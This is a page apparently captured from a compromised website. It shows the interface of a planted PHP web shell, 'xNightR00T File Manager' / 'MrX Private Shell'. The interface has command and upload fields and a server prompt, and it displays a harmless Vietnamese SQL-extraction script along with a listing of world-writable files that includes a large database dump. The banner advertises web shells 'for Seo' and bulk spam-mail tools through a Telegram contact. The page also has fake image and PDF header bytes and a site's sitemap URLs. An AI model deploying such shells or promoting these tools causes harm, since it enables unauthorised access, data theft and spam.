xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php
/**
 * Script Trích Xuất INSERT Statements từ File SQL
 * 
 * Chỉ lấy ra các câu lệnh INSERT từ file DB gốc
 * 
 * Usage: php extract_inserts.php [input_file] [output_file]
 * Example: php extract_inserts.php database.sql inserts_only.sql
 */

// Include common functions
require_once __DIR__ . '/common_functions.php';

// Hàm hiển thị hướng dẫn
function showUsage() {
    echo "========================================\n";
    echo "  Extract INSERT Statements Tool\n";
    echo "========================================\n\n";
    echo "Usage: php extract_inserts.php [input_file] [output_file]\n\n";
    echo "Tham số:\n";
    echo "  input_file   - File SQL input (file DB gốc)\n";
    echo "  output_file  - File SQL output (chỉ chứa INSERT statements)\n\n";
    echo "Ví dụ:\n";
    echo "  php extract_inserts.php database.sql inserts_only.sql\n";
    echo "  php extract_inserts.php merge_db/minh.sql merge_db/minh_inserts_only.sql\n\n";
}

// Lấy tham số từ command line
if ($argc < 3) {
    showUsage();
    exit(1);
}

$inputFile = $argv[1];
$outputFile = $argv[2];

// Kiểm tra file đầu vào
if (!file_exists($inputFile)) {
    // Thử với đường dẫn trong thư mục script
    $inputPath = __DIR__ . '/' . $inputFile;
    if (file_exists($inputPath)) {
        $inputFile = $inputPath;
    } else {
        die("❌ Lỗi: Không tìm thấy file input '$inputFile'\n");
    }
}

echo "========================================\n";
echo "Trích Xuất INSERT Statements\n";
echo "========================================\n";
echo "File input: $inputFile\n";
echo "File output: $outputFile\n\n";

try {
    // Trích xuất INSERT queries
    echo "Đang đọc và trích xuất INSERT statements...\n";
    $insertQueries = exportInsertQueries($inputFile);
    
    echo "✅ Đã tìm thấy " . count($insertQueries) . " câu lệnh INSERT\n\n";
    
    // Tạo thư mục output nếu chưa tồn tại
    $outputDir = dirname($outputFile);
    if (!empty($outputDir) && !is_dir($outputDir)) {
        mkdir($outputDir, 0755, true);
    }
    
    // Ghi vào file output
    $outputHandle = fopen($outputFile, 'w');
    if (!$outputHandle) {
        die("❌ Lỗi: Không thể tạo file output '$outputFile'\n");
    }
    
    // Ghi header
    fwrite($outputHandle, "-- ============================================\n");
    fwrite($outputHandle, "-- Extracted INSERT queries\n");
    fwrite($outputHandle, "-- ============================================\n");
    fwrite($outputHandle, "-- Source file: $inputFile\n");
    fwrite($outputHandle, "-- Generated on: " . date('Y-m-d H:i:s') . "\n");
    fwrite($outputHandle, "-- Total INSERT statements: " . count($insertQueries) . "\n");
    fwrite($outputHandle, "-- ============================================\n\n");
    fwrite($outputHandle, "SET NAMES utf8mb4;\n");
    fwrite($outputHandle, "SET FOREIGN_KEY_CHECKS = 0;\n\n");
    
    // Ghi các INSERT statements
    foreach ($insertQueries as $query) {
        fwrite($outputHandle, $query . "\n");
    }
    
    // Ghi footer
    fwrite($outputHandle, "\nSET FOREIGN_KEY_CHECKS = 1;\n");
    
    fclose($outputHandle);
    
    // Tính kích thước file
    $outputSize = filesize($outputFile);
    $outputSizeFormatted = $outputSize > 1024 * 1024 
        ? number_format($outputSize / (1024 * 1024), 2) . ' MB'
        : number_format($outputSize / 1024, 2) . ' KB';
    
    echo "========================================\n";
    echo "KẾT QUẢ\n";
    echo "========================================\n";
    echo "✅ Đã trích xuất thành công!\n";
    echo "📝 Số lượng INSERT: " . count($insertQueries) . "\n";
    echo "📁 File output: $outputFile\n";
    echo "📊 Kích thước: $outputSizeFormatted\n";
    echo "========================================\n";
    
} catch (Exception $e) {
    die("❌ Lỗi: " . $e->getMessage() . "\n");
}
?>

Filemanager

Name Type Size Permission Actions
HUONG_DAN_SU_DUNG.md File 7.56 KB 0777
README_COMPARE_AND_MERGE.md File 5.72 KB 0777
common_functions.php File 18.78 KB 0777
compare_and_merge.php File 8.15 KB 0777
db_insert_only.sql File 123.32 MB 0777
extract_inserts.php File 3.88 KB 0777
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml